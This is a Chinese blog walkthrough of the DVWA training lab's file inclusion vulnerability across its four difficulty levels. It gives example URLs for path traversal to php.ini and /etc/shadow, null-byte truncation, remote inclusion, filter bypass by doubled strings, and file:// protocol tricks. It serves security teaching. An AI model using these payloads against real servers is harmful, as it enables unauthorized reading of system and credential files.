DVWA-文件包含漏洞

文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含

(2)远程文件包含:因为开启了PHP配置中的allow_url_fopen选项,服务器允许包含一个远程文件。

一、low

看下服务器端核心代码:page为做任何过滤。

        图中 file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

        点击file1.php。

1、本地文件包含

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shaow ,其中/etc/shaow为linux的系统路径。

        报错。故服务器系统不是Linux。且文件的绝对路径为D:\PhPstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\index.php

        构造url(绝对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini,成功读取了服务器的php.ini文件。

         或者构造url(相对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

        “..\”代表上一层目录,“.\”代表下一层目录。

        若page参数要求为php后缀或者其他,在php版本小于5.3.4,时,可以用%00截断。如: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini%00csg.php 。

1、远程文件包含

        当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。在远程服务器上上传一个phpinfo.txt文件。由于本人租不起服务器,故将其放在自己电脑上。

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop/phpinfo.txt

 

为了增加隐蔽性,可以百度一个在线编码工具,对url进行编码:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C%3A%5CUsers%5CASUS%5CDesktop%2Fphpinfo.txt

同样可成功执行。

二、medium

        看下服务器端核心代码:str_replace()函数对“http://”、“https://”、“../”、“..\”都进行了过滤删除。

         但str_replace()可以用双写绕过。且规则里绕过“../”、“..\”,则用绝对路径的方式包含文件不受此规则限制。(本文由于phpinfo.txt文件在本地,无http://或https://,故为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop\phpinfo.txt

若将phpinfo.txt上传到服务器(比如192.168.125.12),则构造下面的链接即可:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hhttp://ttp://192.168.125.12/phpinfo.txt

三、high

        看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

 file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件路径

故利用file协议,构造url:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

读取服务器配置文件成功。

四、impossible

        看下核心源码:这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。

  • 12
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值